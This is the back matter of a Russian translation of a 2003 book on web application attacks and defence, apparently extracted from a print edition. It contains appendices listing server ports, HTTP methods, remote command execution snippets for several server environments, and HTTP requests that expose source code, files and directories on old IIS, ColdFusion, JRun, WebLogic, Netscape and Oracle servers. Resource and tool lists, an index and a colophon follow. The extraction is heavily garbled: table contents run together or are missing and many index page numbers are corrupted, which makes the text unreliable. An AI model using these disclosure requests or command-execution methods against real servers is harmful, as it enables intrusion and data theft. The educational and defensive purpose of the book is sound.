В приведенной ниже таблице перечислены порты популярных серверов баз данных и Web серверов. К этому перечню можно обращаться по мере чтения книги. Перечень портов серверов баз данных и Web серверов Порт Сервер 66 Oracle 80 Hyper Text Transfer Protocol (HTTP) 81 HTTP Proxy, альтернативный HTTP порт, Cobalt Server Administration Port 443 Secure Socket Layer (SSL) 445 Microsoft SQL Server поверх NetBIOS 457 UnixWare/Netscape FastTrack Server 1080 SOCKS Proxy Oracle WebCache Listener KaZaA File Sharing Server (HTTP подобный протокол) 1352 Lotus Domino (Notes) 1433 Microsoft SQL Server 2000 Microsoft SQL Server 2000 поверх TCP/IP Redirector 1521 1530 Oracle 1944 Microsoft SQL Server 7 2301 Compaq Insight Manager, Compaq Survey Utility HTTP Proxy (Squid, и т.д.) 3306 4000 Oracle WebCache Listener Oracle WebCache Listener 4002 Oracle WebCache Listener Sybase (с программным обеспечением jConnect) 5000 Sybase 12.x 5432 PostgreSQL 5800 VNC HTTP Console Port 1 5801 VNC HTTP Console Port #2 5802 VNC HTTP Port #3 6346 Gnutella (HTTP подобный протокол) 6347 Gnutella (HTTP подобный протокол) 7001 BEAWebLogic 7002 BEAWebLogic 8000 HTTP Proxy, альтернативный HTTP порт, HP Web Version 6.0 8001 BEAWebLogic 8005 Apache Tomcat Administration Server (не HTTP протокол) 8080 HTTP Proxy, альтернативный HTTP порт 8888 HTTP Proxy, альтернативный HTTP порт 30821 Netscape Enterprise Server Administration Server 350 Приложение А
ПРИЛОЖЕНИЕ Б Методы и определения полей и
В приведенных ниже таблицах содержится полный перечень методов и полей заголовков стандартных запросов и ответов протоколов НТТР/1.1 и Таблица Методы и определения полей протокола НТТР/1.1 Метод Запрос Определение GET POST HEAD GET Host: или \r\n POST l\r\n Host: или Content Length: в \r\n или другие данные пе редачи по HEAD Host: или PUT PUT Host: или в Content Type: <гил для размещения в OPTIONS OPTIONS Host: или Метод GET используется для извлечения любых данных, которые хранятся или генерируются ре сурсом, определяемым идентификатором URI (Uniform Resource Identifier --- универ сальный идентификатор ресурса). Этот метод используется для получения файлов, запуска серверных сценариев или взаимодействия с серверными и др. Если в HTML форме указан метод передачи GET, то парамет ры формы передаются HTTP серверу в Метод POST используется для передачи данных ресурсу, определяемому идентификатором Обычно таким ресурсом является сер верный сценарий либо предна значенная для обработки данных формы. Если при передаче данных HTML формы используется метод то эти данные передаются HTTP серверу в теле запроса POST Метод HEAD аналогичен методу GET за исключе нием того, что в ответе сервера HTTP не со держится тела. Метаинформация, содержащаяся в HTTP заголовке ответа на запрос должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно исполь зовать для получения метаинформации о необ ходимом объекте. Обычно этот метод использу ется для тестирования гиперссылок на коррект ность, доступность и последние изменения раздел Метод PUT позволяет отправлять данные на HTTP сервер и сохранять их по адресу, задавае мому идентификатором Метод OPTIONS позволяет получить информацию о параметрах связи, которые можно использо вать при обмене запросами/ответами с ресур сом, определяемым идентификатором URI запроса (RFC 2616, раздел 9.2) 352 Приложение Б
Окончание табл. Б.1 Метод Запрос Определение DELETE DELETE l\r\n Host: или \r\n TRACE TRACE Host: или \r\n CONNECT CONNECT Host: или Метод DELETE позволяет удалить на целевом сервере ресурс, который определяется фикатором (RFC 2616, раздел 9.7) Метод TRACE используется для инициирования на прикладном уровне удаленной обратной свя зи... С помощью этого метода клиент может оп ределить, какие данные были получены на дру гом конце соединения. Полученные сведения можно использовать для тестирования и стики (RFC раздел 9.8) Метод CONNECT позволяет установить proxy соединение с ресурсом, который задан иденти фикатором Таблица Методы и определения полей протокола Метод Запрос Определение GET GET \r\n POST HEAD POST Content Length: в Content Type: <тип \r\n другие данные для передачи по HEAD Метод GET используется для извлечения любых данных, которые хранятся или генерируются ресур сом, определяемым идентификатором Ш залроса (Uniform Resource Identifier --- универсальный иден тификатор ресурса). Этот метод используется для получения файлов, запуска серверных сценариев или взаимодействия с серверными и др. Если в HTML форме указан метод передачи GET, то параметры формы передаются серверу в Метод POST используется для передачи данных ре сурсу, определяемому идентификатором URI Обычно таким ресурсом является сервер ный сценарий либо предназначен ная для обработки данных формы. Если при пере даче данных HTML формы используется метод POST, то эти данные передаются HTTP серверу в теле запроса POST Метод HEAD аналогичен методу GET за ем того, что в ответе сервера HTTP не содер жится тела, содержащаяся в HTTP заголовке ответа на запрос HEAD, должна быть идентична информации, передаваемой в ответ на запрос GET. Метод HEAD можно использовать для получения о необходимом объекте. Обычно этот метод используется для тестирования гиперссылок на корректность, дос тупность и последние изменения (RFC 2616, раз дел 9.4) Методы и определения полей протоколов и 353
Таблица Б.З. Неопределенные методы протокола как описано в приложении D документа RFC 1945 Метод Запрос Определение PUT Формат сообщения PUT в документе RFC 1945 не определен. На практике обычно используется тот же формат, что 1.1 DELETE Формат сообщения DELETE в документе RFC 1945 не определен. На практике обычно используется тот же формат, что для HTTP 1.1 LINK Формат сообщения LINK в документе RFC 1945 не определен и не поддержива ется большинством/всеми реализациями UNLINK Формат сообщения UNLINK в документе RFC не определен и не поддержива ется большинством или всеми реализа циями HTTP Метод позволяет отправлять данные HTTP серверу и сохранять их по адресу Метод DELETE позволяет удалить на целевом сер вере ресурс, определяемый идентификатором URI запроса (RFC 1945, приложение D.1, раздел Метод LINK позволяет установить одну или не сколько связей между ресурсом, определяемым идентификатором URI запроса, и другими сущест вующими ресурсами (RFC 1945, приложение раздел Метод UNLINK позволяет удалить одну или несколь ко связей между ресурсом, определяемым фикатором URI запроса, и другими ресурсами (RFC 1945, приложение раздел 354 Приложение Б
ПРИЛОЖЕНИЕ В Удаленное выполнение команд
В приведенной таблице содержится перечень полезных которые можно использовать для удаленного выполнения команд. Удаленное выполнение команд Среда Web Исходный код приложения Дополнительная информация Java class extends void { Runtime Process Java Server Pages (JSP) Runtime Process Active Server В целевой системе должны быть установлены Pages (ASP) средства Windows Scripting Host Set CreateObject \> PERL В языке Perl команды размещаются между символами или или PHP <? ИЛИ <? MS SQL EXEC / com/ http://www.php.net/manual/en/ 356 Приложение В
ПРИЛОЖЕНИЕ Г ИСХОДНОГО И
В этом приложении содержится перечень основных известных приемов раскрытия исходного кода. Многие из них связа ны с конкретными ошибками в определенных версиях профаммного обеспечения. Другие можно использовать на несколь ких платформах. Часть перечисленных изъянов проявляется снова и снова вопреки всем заверениям разработчиков. Раскрытие исходного кода, файлов и каталогов Уязвимое приложение HTTP запрос Информация об изъяне Allaire ColdFusion Allaire JRun, альтернативный поток дан ных Allaire JRun, серверные включения Apache Tomcat, BEA WebLogic, расширения файла с сим волами разных регистров WebLogic 5.1, WebLogic, FileServlet BEA BEA IBM WebSphere, расширение файла с символами разных регистров IBM WebSphere, Microsoft 4.0 + файловая система FAT GET путь к GET HTTP/1.0 GET /file HTTP/1.0 . Content Length: имени файла + HTTP/1.0 2. GET HTTP/1.0 HTTP/1.0 2. GET HTTP/1.0 3. GET HTTP/1.0 GET HTTP/1.0 GET GET HTTP/1.0 GET /*.shtml /file.jsp HTTP/1.0 HTTP/1.0 2. GET /file.jsP HTTP/1.0 3. GET /file.Jsp HTTP/1.0 GET HTTP/1.0 GET HTTP/1.0 http://www.securityfocus.com/bid/3664 9 http://www.securityfocus.com/bid/2527 http://www.securityfocus.com/bid/1328 http://www.securityfocus.com/bid/1518 http://www.securityfocus.com/bid/1378 http://www.securityfocus.com/bid/1517 http://www.securityfocus.com/bid/1328
Продолжение таблицы Microsoft 4.0, альтернативный поток данных Microsoft Microsoft ISS, Translate: f Microsoft ISS 3.0, Microsoft ISS 2.0/3.0, добавление символа . Oracle, _pages/ Sun Java Web Server, . GET HTTP/1.0 GET GET HTTP/1.0 Translate: f GET HTTP/1.0 2. GET /file.pl HTTP/1.0 3. GET HTTP/1.0 4. GET HTTP/1.0 GET / pages/ HTTP/1.0 HTTP/1.0 2. GET HTTP/1.0 http://www.securityfocus.com/bid/1488 http://www.securityfocus.com/bid/1814 4 Раскрытие файлов Уязвимое приложение HTTP запрос Информация об изъяне Allaire ColdFusion Server, Allaire ColdFusion, openfile.cfm Allaire ColdFusion, Allaire Jrun, /servlet/ Apache Web Server + для Win32 Apache Web Server, + PHP3 GET Path= c:\file HTTP/1.0 GET /cfdocs/expeval/openfile.cfm ?????????? HTTP/ 1.0 GET /cfdocs/exampleapp/docs/sou HTTP/1.0 2. GET GET HTTP/1.0 GET путь к HTTP/1.0 http://www.securityfocus.com/bid/1833 http://www.securityfocus.com/bid/3786
Продолжение таблицы MicrosoftIIS, изъян Unicode Microsoft IIS, двойное декодирование Microsoft IIS, MicrosoftIIS, idq.dll MicrosoftIIS, Microsoft IIS, Microsoft IIS, Netscape Enterprise Server, Netscape Enterprise Server, /publisher Netscape Enterprise Server Win32, имена файлов 8.3 путь к 2. GET путь к путь к GET путь к GET htr GET путь к GET путь к GET путь к 1. GET к 2. GET /Sites/Knowledge/Membership/ путь к 3. GET /Sites/Samples/Knowledge/ Membership/ путь HTTP/1.0 GET HTTP/1.0 GET /publisher Обычный запрос: GET /directory/ Злоумышленный запрос: GET HTTP/1.0 http://www.securityfocus.com/bid/2708 http://www.securityfocus.com/bid/167 3 http://www.securityfocus.com/bid/2416 http://www.securityfocus.com/bid/584
Продолжение таблицы Раскрытие каталогов Уязвимое приложение Allaire Jrun, GET HTTP/1.0 GET /I3f.jsp HTTP/1.0 Apache Web Server + Mac OS, . DS_Store GET DS_Store 2. GET /.FBCIndex ApacheWebServer Apache Web Server, много символов / Apache Web Server, /cgi bin/test cgi Microsoft IIS 5.0, WebDAV /?M=A 2. GET /?S=D HTTP/1.0 GET 1 4096 символов HTTP/1.0 2. GET HTTP/1.0 HTTP/1.0 2. GET HTTP/1.0 3. GET HTTP/1.0 GET HTTP/1.0 SEARCH узла или Content Type: Content Length: 133 <g:sql> Select from </g:sql> Информацияобизъяне /www.securityf http://www.securityfocus.com/bid/3009 //www.securityf com/bid/2003 http://www.securityfocus.com/bid/1756
Окончание таблицы Microsoft IIS 3.0/4.0, Netscape Enterprise Server, INDEX Netscape EnterpriseServer, Oracle Internet Application Server, Oracle 9i Application Server, mod_plsql GET HTTP/1.0 INDEX 2. GET /?wp ver info HTTP/1.0 GET GET относительный путь к http://www.securityfocus.com/bid/3727
ПРИЛОЖЕНИЕ Д иссыпки
Здесь приведен краткий перечень важных ресурсов и ссылок. Из этих источников можно получить самую последнюю информацию по вопросам обеспечения безопасности в Web. Ресурсы и ссылки Ресурс Адрес URL Focus com New Order http://neworder.box.sk Computer Emergency Response Team (CERT) org Rain Forest Puppy 364 Приложение Д
ПРИЛОЖЕНИЕ Е Средства оценки
Для оценки Web приложений можно использовать следующие средства. Средства оценки Название Адрес URL Описание SuperScan от компании Foundstone FScan от компании Foundstone Whisker Scanner от компании Stealth Nessus Scanner Cerberus Scanner I Scanner Популярная утилита сканирования TCP портов и IP адресов для платформы Windows компании Microsoft Популярная утилита сканер портов из команд ной строки для системы Windows компании Mi crosoft Популярная программа поиска изъянов написанная на языке PERL Популярная утилита сканер изъянов разработанная для платформы Mi crosoft Windows. Позволяет проверить наличие 000 изъянов http://www.nessus.org Популярная и свободно распространяемая программа для системы UNIX (модуль скани рования) и Microsoft Windows (только пользо вательский интерфейс), в которой для скани рования используется распределенная архитек тура. Позволяет проверить наличие около 900 изъянов net/rfp/ com/stealth/ infosec.co.uk nextgenss.com Свободно распространяемая программа скани рования для платформы Windows. Позволяет проверить наличие множества известных изъя нов Web, а также систем Microsoft Windows, UNIX и баз данных Свободно распространяемая программа скани рования для платформы Windows. Позволяет проверить наличие множества широко распро страненных изъянов Web, а также систем Win dows, UNIX и баз данных Возможно, одна из самых популярных утилит прослушивания и сканирования сети, которая позволяет идентифицировать также ТСР и Этой утилитой поддерживает ся несколько типов сканирования, а кроме предоставляется и много дополнительных функций, в том числе возможность удаленной идентификации операционной системы и служб RPC 366 Приложение Е
Предметный указатель Access Control List (ACL), 67; 269 Active Server Page, 40, 120 ActivePerl, 238 ActiveX, 32; 43; 192 Apache, 37; 219 виртуальный узел, 60 директива 63 серверные включения, 62 ASP, 40, 225 ATG Dynamo Application Server, 155 В Base64, 207 Bugtraq, бюллетень, 306 Carello, 95 Carnegie Mellon Emergency Response Team (CERT), 302 CFML, 38 CGI, 44; 62, 121 сценарий, 256 4360 Code Red, 65; 125; 328 ColdFusion, 38 ColdFusion Markup Language, 38 COM, 43 Common Gateway Interface, 34; 44; 62; 121 Component Object Model (COM), 43 Cookie, 191; 276; 283; 286; 310, 314; 316 временные, 314 постоянные, 315 Crawler, 181 Crawling, 181 Data Source Name, 41; 152 DCShop, 95 Denial of Service, 84; 244 DES, 114 DHTML, 32 Discover DeskShop, приложение, 99 Discover, кредитная карточка, 99 Document Type Definition, 32 DoS, 84; 328 DSN, 41; 152 DTD, 32 Dual homed system, 206 Dynamic Shared Object, 144 E commerce, 223 Enterprise Manager, 74 223 extensible Markup Language, 32 False 335 Flash, технология, 226 Front end Web server, 141 FrontPage, 66 GNU, лицензия, 173 Google, 235 С H Handler, 261 Header field, 113 Heap spraying, 327 HTML, 29 дескрипторы, 30 динамический, 32 комментарий, форма, HTML Validation Service, 30 HTTP, 777 запрос, 109 ответ, 109 управление сеансами, 283 HTTP/1.0, 352 методы, 109 Предметный указатель
112; 352 адрес URL, 112 114 HTTP аутентификация, 207 HyperText Markup Language, 30 Transfer Protocol, 107 I IDS, 334 IETF, 108 IIS, 120 виртуальный каталог, 66 индексный сервер, 65 Interactive Disassembler Pro, 291; 296 Internet Engineering Task Force, 108 Internet Explorer, 164 команда 765 Internet Information Server, 63 Internet Server Application Programming Interface, 64 Internet Services Manager, 65 Intrusion Detection System, 107; 302; 334 254 IP псевдоним, 61 64; 226 фильтр, 326 293 Linkage analysis, Lotus Domino, 147; 281 LWP, библиотека, 207 M62 MD5, 207 Microsoft Outlook, 281 Microsoft SQL Server, 70, 247 MIME, 47 Miva Merchant, 104 MySQL, 226 N Netscape Navigator, 50 команда Source, 164 отключение режима выполнения сценариев JavaScript, 236 65; 330 Nomad Mobile Research Center (NMRC), 306 NTFS, 67; 269 NTLM, 207; 311 J2EE, 144 JAD, 49 JAS, 53 Java, 48; 257 Java Database Connectivity, 152 Java Decompiler, 49 Java Server Page, 55; Java Web Server, 53; 257 JavaBeans, 257 JavaHTML, 53 JavaScript, 31; 32; 172; 235 JavaSoft, стандарт, 55 JDBC, Developer, 53 JHTML, 53 JRun, 53 Jscript, 31; 52 JSP, 53 вскрытие исходного кода, 54 757 ODBC, Open Database Connectivity, 752 Opera, 164; 286 Oracle, 226; 247 9i, 59 Connection Interface, Listener, 79 PayFlow, 104 PayFlow Pro, 99 PayPal, 104 Perl, 26; 33; 225 43 Personal Home Page, 36 PHP, 36; 225 98 proxy сервер, 313 Public Key Infrastructure, 98 368 Предметный указатель
Query string, 121 Rain Forest Puppy, лаборатория, 304 RealSecure, 335 Response code, 113 RSA, 114 Secure Electronic Transaction, 98 SecureNet, 335 Server Side Includes, 62 SET, 98 SGML, 32 ShopPlus, 242 SHTML, 45 Single Use Credit Card, 99 Snort, 114 Source sifting, 163 Spam, 170 SQL, SQL poisoning, 70 SQL Server, 70 SQL Server Agent, 75 SSI, 45; 62 SSL, 98; 103; 114; 336 338 Standard Generalized Markup Language, 30 203 Tomcat, 257 Transact SQL, 76 Transport Layer Security, 114 UCS Translation Format, Unicode, 201 Uniform Resource Identifier, 352 Uniform Resource Locator, 118 Universal Character Set, 152 URL, 112; 118 основные элементы, 119 полиморфный, 342 UTF 8, VBScript, 31; 32; 172, 235 vi, 232 Vignette Story Server, 156 Visual Basic, 40 . w W32/Nimda A, 330 W3C, 306 Web application execution environment, 141 243 WebLogic, 53 WebSphere, 53 Web приложение, 141 179 Web сервер, 59 Apache, 219 IIS, 120 Windows File Protection, 329 XHTML, 33 XML, 31; 32 Автоматическое просеивание исходного кода, /72 Адрес URL, 112 полиморфный, 342 Активная серверная страница, 40 Алгоритм шифрования Base64, 189 MD5, 207 Анализ 190 связей, 179 основная методология, 180 Анализатор сетевых пакетов, 336 EtherPeek, 31 31; 192 Ассемблер, 291 основные инструкции, 293 Атрибут 43 DATASOURCE, 39 41 Аутентификация Basic, 309 Предметный указатель 369
HTTP, 207; 219, 307 NTLM, 207 на базе форм, 309 База данных, 247 72 SQL, 247 транзакций, 100 Байт код, 31; 48 Библиотека LWP, типов, 43 Бизнес логика, 223 Брандмауэр, 107; 247 В Взлом паролей, 309 Виртуальная кредитная карточка, 98 Виртуальный каталог, 66 узел, 68 на базе IP адресов, 61 на базе имен, 60 Вирус червь, 65; 302; 326 Code Red, 125; 328 Внешний Web сервер, 141 Внутреннее перенаправление, 145 Впрыскивание в кучу, 327 Временное состояние, 284 Время жизни торговой тележки, 91 Вскрытие исходного кода, 54 Вторичный IP адрес, 68 Выделение в структуре приложения отдельных логических групп, 187 Гипертекст, 179 Двойное декодирование, 330 система, 206 Декомпилятор Java, 49 Демон 203 338 Дескриптор, 30 166 <А>, 169 <applet>, 31; 192 <CFQUERY>, 39 34; 192; 232 <img>, 32 171 <java>, 55 <META>, 164; 171; 187 <object>, 32; 43; 192 31; 41; 52; 172; 193 132 якоря, Дешифратор URL, 343 Диаграмма состояний, 282 Дизассемблирование, Динамический HTML, 225 Директива, 47 Action, 63 EXEC, 47 Listen, 219 Options, 62 Options Indexes, 63 62 перенаправления, 187 Документ DTD, 32 ISO 10646, RFC 1945, 354 RFC 2616, 772 Домен, 308 Загрузчик 260 Закрытый симметричный ключ, 340 Запись 60 Запуск управляющих элементов ActiveX, 32 И Идентификатор CLSID, 43 сеанса, 276; 287 Избыточное декодирование, Изъян Unicode, 330 двойного декодирования, 370 Предметный указатель
фильтра .ida, 65 Инвентаризация Web ресурсов, 194 Индексный регистр, 293 сервер, 326 Интерфейс CGI, 34; 44; 62 ISAPI, 64 OCI, общего шлюза, 727; 256 Информационная схема, 77 Искусственный интеллект, 348 Исследование Web узла, Источник данных, 39 Канал платежей, 90 Карта Web приложения, 180 Каталог товаров, 93; 94 Клиентский сценарий, 193 Ключ сеанса, 340 Кнопка передачи данных, 131 Код ответа, 113 Комментарий HTML, 166 Компьютерный червь, 302 Конвейер, 26; 123 Конечное состояние, 282 Консорциум Unicode, 725 W3C, 30 Краулер, 522 Краулинг, Л Линия перехода, 2*2 Ловушка, 347 Ложное срабатывание, 335 м Матрица Web ресурсов, 193 Метасимвол, 725; 257; 323 Метод GET, 109 OPTIONS, POST, 34 передачи данных, информации, 31 Механизм управления сеансами, 94 Модель открытого кода, 257 электронной коммерции, 90 Модуль управления сеансами, 93 Мошенничество с кредитными карточками, 97; 239 н Начальное состояние, 2*2 Обработчик, 63; 261 подмена, 261 прерываний, 2Р7 события 32 Обратное проектирование, 2*7; Обход анализа сигнатур, механизма проверки данных, 257 систем IDS, 346 Объектная модель компонентов, 43 Операция XOR, 275 Отказ в обслуживании, 84; 328 Отображение URL адресов, Отслеживание сеансов, 2*5; 2*7 Оценка Web приложений, 366 Ошибка Unicode, п Пакет, Передача параметров с помощью URL, 722 Переменная окружения CGI, 46 45 80 QUERY_STRING, 46; 121 Перенаправление, 186 реверсивное, 279 Переполнение буфера, 65; 291; 293; 319 удаленное, Перехват сеансов, 275; Платежная система 99 Подбор паролей, HTTP, в лоб, 310 Предметный указатель 371
Подмена обработчика, 261 Подсистема ShopPlus, 242 243 выбора товаров, 91; 92; 94; 235 удаленное выполнение команд, 242 обработки платежей, 225 проблемы реализации, управления складом, 225 Поиск скрытых полей, 234 Поле Content Type, 182 Location, 110 Via, 114 заголовка, 113 Полиморфный адрес URL, 342 код, 336 Препроцессор HTTP, 343 Приложение с сохранением состояния, Принцип третьего среднего, 347 Проблема подмены цен, 239 Проверка входных данных, 269 с клиентского сценария, 235 Программа Achilles, 304; 319 Defender, 335 Brutus, 309 Cookie Pal, 275; 286; 304; 314; 316 Entercept, 300 2ft? 336 Funnel Web Profiler, 183; 190 HTML Tidy, 30 OpenSSL, 338 Perl2exe, 36335 RealSecure, 335 SecureNet, 335 Snort, 335; 342 297 Pro, 176; 185; 304; 322 Whisker, 346; 366 182 перенаправление, 186 Продажа по каталогам, 87 Просеивание исходного кода, 163 автоматическое, Протокол, HTTP, 777; 202; 281 254 SET, 98 SSL, 103; 114; 336 331 TLS, 114 Профиль покупателя, 104 Псевдоним 56 Разовая кредитная карточка, 98 Раскрытие исходного кода, 163; 358 Расширяемый язык разметки, 32 Реверсивное перенаправление, Реверсивный HTTP посредник, 339 Регистр индексный, 293 общего назначения, Регулярное выражение, 35; 38 Редактор vi, 232 Реляционная база данных, 226 Сервер IIS, 207; 256 удаленное переполнение буфера, 326 Java Web Server, 257 JRun, 257 257 Lotus Domino, WebSphere, 257 баз данных, 7ft индексный, 326 приложений Java, 53 Серверная страница Java, 53 Серверные включения, 45; 62 Серверный сценарий, 35; 40 53; 101; 257; 270 261 257 псевдоним, 56 уровня ядра, 261 Сетевая система выявления вторжений, 334 Сетевой анализатор пакетов, Сигнатура атаки, 334; 342 372 Предметный указатель
Система выявления вторжений, 107; 302; 334 основные элементы, 334 уровня узла, 335 обработки платежей, 88 104 Скрытое поле, 287 поиск, 235 Скрытый атрибут, дескриптор, 229 Служба защиты системных файлов, 329 Сокрытие кода сценариев Perl, 36 Состояние, 282 временное, 284 конечное, 282 начальное, 282 Сохранение состояний, 287 Спецификация HTML 4.0, 164 Список управления доступом, 67 Спэм, Среда выполнения Web приложения, 141 Стандарт 77 J2EE, 154 JavaSoft, Стандартный обобщенный язык разметки, 32 Стек, 293 Строка запроса, 242 Структура URL, Схема традиционной розничной торговли, Сценарий listgen.pl, 307 tnscmd.pl, 80 клиентский, 772; серверный, 35; 40 Счетчик команд, 293 Теория конечных автоматов, 282 Технология ASP, впрыскивания в 327 Тип MIME, 47 Торговая тележка, 90 изъян проверки входных данных, 237 Традиционная модель розничной торговли, 88 Троянский конь, 329 33* SSL, Удаленное выполнение команд, Указатель стека, 293 Универсальный идентификатор ресурса, 352 клиент, 281 локатор ресурсов, набор символов, 725 Управление сеансами, 93; 94; 191; 225; 228 283 складом, 225 Утилита Achilles, 372 Black Widow, 776; Brutus, 2/6; 304 Enterprise Manager, 74 FoundScan, Fscan, 247; 366 grep, 772; /75 Netcat, 205; 252; 291; 304; 305 Nmap, 203; 366 NTOMax, 297 osql.exe, 247; 253 Sam Spade, /76; Scanner, 366 snort, 247 ssldump, 775; 340 339 SuperScan, 366 340276 773; 322 Whisker, 161; 304; 306; 307 27 Файл 48 cookie, 376 global.asa, 47; 253 62 Предметный указатель 373
scan.db, 306 261 класса Java, 49 Фальсификация SQL, 70 Фильтр 64; 66; 226 Форма, 192 Функция GetProcAddress, 298 298 open(), 24345 Хранимая процедура, 72 248 302 Электронная коммерция, 87; 223 торговая тележка, 90, 93; 224; 225; 235 Carello, 95 DCShop, 95 Hassan Consulting, 96 Miva Merchant, 104 время жизни, 91 Электронное воровство, 223 Электронный магазин подсистема обработки платежей, 225 торговая тележка, 225 торговый зал, 225 Элемент управления ActiveX, 43 Цифровой сертификат, 98 Червь, 302; 326 Code Red, 328 CodeRed II, 329 Morris, 326 Nimda, 330 Ш Шифрование Base64, 207 по открытому ключу, 98 Язык HTML, 29 Java, 257 JavaScript, JHTML, 56 43 Perl, 33 43 PHP, 36 Visual Basic, 40 XHTML, 33 XML, 302 ассемблера, 291 основные инструкции, 293 командной оболочки, 45 сценариев, 32; 52 374 Предметный указатель
Научно популярное издание Стюарт Мак Клар, Саумил Шах, Шрирай Шах в Web: атаки и защита Литературный редактор Т. П. Кайгородова Верстка А. Удалое Художественный редактор С. А. Корректоры А. Т. А. Издательский дом "Вильяме". 101509, Москва, ул. Лесная, д. 43, стр. 1. Изд. лиц. ЛР No 090230 от 23.06.99 Госкомитета РФ по печати. Подписано в печать 28.03.2003. Формат 70X100/16. Гарнитура Times. Печать офсетная. Усл. печ. л. 30,96. Уч. изд. л. 21,82. Тираж 3500 экз. Заказ No 2649. Отпечатано с диапозитивов "Печатный двор" Министерства РФ по делам печати, телерадиовещания и средств массовых коммуникаций. Санкт Петербург, пр., 15.